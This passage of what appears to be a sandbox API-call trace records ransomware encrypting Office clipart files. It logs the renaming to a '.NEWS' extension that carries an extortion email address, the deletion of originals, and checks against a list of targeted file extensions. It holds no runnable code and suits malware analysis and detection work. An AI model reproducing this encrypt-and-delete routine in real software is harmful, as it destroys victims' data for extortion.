lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.555] SetEndOfFile (hFile=0x388) returned 1 [0266.555] CloseHandle (hObject=0x388) returned 1 [0266.555] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.556] SetEndOfFile (hFile=0x1cc) returned 1 [0266.563] CloseHandle (hObject=0x1cc) returned 1 [0266.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0266.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0266.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.566] lstrlenW (lpString=".doc") returned 4 [0266.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.566] lstrlenW (lpString=".docx") returned 5 [0266.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.566] lstrlenW (lpString=".pdf") returned 4 [0266.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.566] lstrlenW (lpString=".xls") returned 4 [0266.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.566] lstrlenW (lpString=".xlsx") returned 5 [0266.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.566] lstrlenW (lpString=".ppt") returned 4 [0266.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.567] lstrlenW (lpString=".zip") returned 4 [0266.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.567] lstrlenW (lpString=".rar") returned 4 [0266.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.567] lstrlenW (lpString=".bz2") returned 4 [0266.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.567] lstrlenW (lpString=".7z") returned 3 [0266.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.567] lstrlenW (lpString=".dbf") returned 4 [0266.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.568] lstrlenW (lpString=".1cd") returned 4 [0266.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.568] lstrlenW (lpString=".jpg") returned 4 [0266.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.568] lstrlenW (lpString=".doc") returned 4 [0266.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.569] lstrlenW (lpString=".docx") returned 5 [0266.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.569] lstrlenW (lpString=".pdf") returned 4 [0266.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.569] lstrlenW (lpString=".xls") returned 4 [0266.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.569] lstrlenW (lpString=".xlsx") returned 5 [0266.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.569] lstrlenW (lpString=".ppt") returned 4 [0266.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.569] lstrlenW (lpString=".zip") returned 4 [0266.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.570] lstrlenW (lpString=".rar") returned 4 [0266.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.570] lstrlenW (lpString=".bz2") returned 4 [0266.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.570] lstrlenW (lpString=".7z") returned 3 [0266.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.570] lstrlenW (lpString=".dbf") returned 4 [0266.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.570] lstrlenW (lpString=".1cd") returned 4 [0266.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0266.571] lstrlenW (lpString=".jpg") returned 4 [0266.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.571] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0266.571] lstrlenW (lpString="BL00296_.WMF") returned 12 [0266.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0266.572] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=812) returned 1 [0266.572] CloseHandle (hObject=0x1cc) returned 1 [0266.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0266.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0266.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0266.574] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.574] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0266.575] GetLastError () returned 0x0 [0266.575] ReadFile (in: hFile=0x1cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x32c, lpOverlapped=0x0) returned 1 [0266.840] WriteFile (in: hFile=0x388, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x330, lpOverlapped=0x0) returned 1 [0267.529] ReadFile (in: hFile=0x1cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0267.529] WriteFile (in: hFile=0x388, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.529] SetEndOfFile (hFile=0x388) returned 1 [0267.529] CloseHandle (hObject=0x388) returned 1 [0267.530] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.530] SetEndOfFile (hFile=0x1cc) returned 1 [0267.538] CloseHandle (hObject=0x1cc) returned 1 [0267.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0267.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0267.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.540] lstrlenW (lpString=".doc") returned 4 [0267.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.540] lstrlenW (lpString=".docx") returned 5 [0267.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.541] lstrlenW (lpString=".pdf") returned 4 [0267.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.541] lstrlenW (lpString=".xls") returned 4 [0267.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.541] lstrlenW (lpString=".xlsx") returned 5 [0267.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.541] lstrlenW (lpString=".ppt") returned 4 [0267.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.541] lstrlenW (lpString=".zip") returned 4 [0267.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.541] lstrlenW (lpString=".rar") returned 4 [0267.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.542] lstrlenW (lpString=".bz2") returned 4 [0267.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.542] lstrlenW (lpString=".7z") returned 3 [0267.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.542] lstrlenW (lpString=".dbf") returned 4 [0267.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.542] lstrlenW (lpString=".1cd") returned 4 [0267.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.542] lstrlenW (lpString=".jpg") returned 4 [0267.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.543] lstrlenW (lpString=".doc") returned 4 [0267.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.543] lstrlenW (lpString=".docx") returned 5 [0267.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.543] lstrlenW (lpString=".pdf") returned 4 [0267.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.543] lstrlenW (lpString=".xls") returned 4 [0267.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.544] lstrlenW (lpString=".xlsx") returned 5 [0267.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.544] lstrlenW (lpString=".ppt") returned 4 [0267.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.544] lstrlenW (lpString=".zip") returned 4 [0267.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.544] lstrlenW (lpString=".rar") returned 4 [0267.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.544] lstrlenW (lpString=".bz2") returned 4 [0267.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.544] lstrlenW (lpString=".7z") returned 3 [0267.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.544] lstrlenW (lpString=".dbf") returned 4 [0267.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.545] lstrlenW (lpString=".1cd") returned 4 [0267.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0267.545] lstrlenW (lpString=".jpg") returned 4 [0267.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.546] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0267.546] lstrlenW (lpString="BL00390_.WMF") returned 12 [0267.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0267.551] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=13102) returned 1 [0267.551] CloseHandle (hObject=0x1cc) returned 1 [0267.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0267.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0267.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0267.552] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.552] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0267.553] GetLastError () returned 0x0 [0267.553] ReadFile (in: hFile=0x1cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x332e, lpOverlapped=0x0) returned 1 [0267.558] WriteFile (in: hFile=0x388, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x3330, lpOverlapped=0x0) returned 1 [0267.562] ReadFile (in: hFile=0x1cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0267.562] WriteFile (in: hFile=0x388, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.562] SetEndOfFile (hFile=0x388) returned 1 [0267.563] CloseHandle (hObject=0x388) returned 1 [0267.564] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.942] SetEndOfFile (hFile=0x1cc) returned 1 [0269.541] CloseHandle (hObject=0x1cc) returned 1 [0269.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0269.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0269.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.544] lstrlenW (lpString=".doc") returned 4 [0269.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.544] lstrlenW (lpString=".docx") returned 5 [0269.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.544] lstrlenW (lpString=".pdf") returned 4 [0269.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.544] lstrlenW (lpString=".xls") returned 4 [0269.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.544] lstrlenW (lpString=".xlsx") returned 5 [0269.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.544] lstrlenW (lpString=".ppt") returned 4 [0269.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.545] lstrlenW (lpString=".zip") returned 4 [0269.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.546] lstrlenW (lpString=".rar") returned 4 [0269.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.546] lstrlenW (lpString=".bz2") returned 4 [0269.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.546] lstrlenW (lpString=".7z") returned 3 [0269.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.546] lstrlenW (lpString=".dbf") returned 4 [0269.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.547] lstrlenW (lpString=".1cd") returned 4 [0269.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.547] lstrlenW (lpString=".jpg") returned 4 [0269.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.547] lstrlenW (lpString=".doc") returned 4 [0269.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.548] lstrlenW (lpString=".docx") returned 5 [0269.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.548] lstrlenW (lpString=".pdf") returned 4 [0269.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.548] lstrlenW (lpString=".xls") returned 4 [0269.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.548] lstrlenW (lpString=".xlsx") returned 5 [0269.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.548] lstrlenW (lpString=".ppt") returned 4 [0269.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.548] lstrlenW (lpString=".zip") returned 4 [0269.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.549] lstrlenW (lpString=".rar") returned 4 [0269.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.549] lstrlenW (lpString=".bz2") returned 4 [0269.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.549] lstrlenW (lpString=".7z") returned 3 [0269.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.549] lstrlenW (lpString=".dbf") returned 4 [0269.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.549] lstrlenW (lpString=".1cd") returned 4 [0269.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0269.550] lstrlenW (lpString=".jpg") returned 4 [0269.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.550] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0269.550] lstrlenW (lpString="BL00921_.WMF") returned 12 [0269.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0269.577] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=4408) returned 1 [0269.578] CloseHandle (hObject=0x3ac) returned 1 [0269.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0269.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0269.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0269.579] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.579] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0269.580] GetLastError () returned 0x0 [0269.580] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x1138, lpOverlapped=0x0) returned 1 [0269.586] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1140, lpOverlapped=0x0) returned 1 [0269.590] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.590] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.590] SetEndOfFile (hFile=0x3a4) returned 1 [0269.590] CloseHandle (hObject=0x3a4) returned 1 [0269.591] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.591] SetEndOfFile (hFile=0x3ac) returned 1 [0269.599] CloseHandle (hObject=0x3ac) returned 1 [0269.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 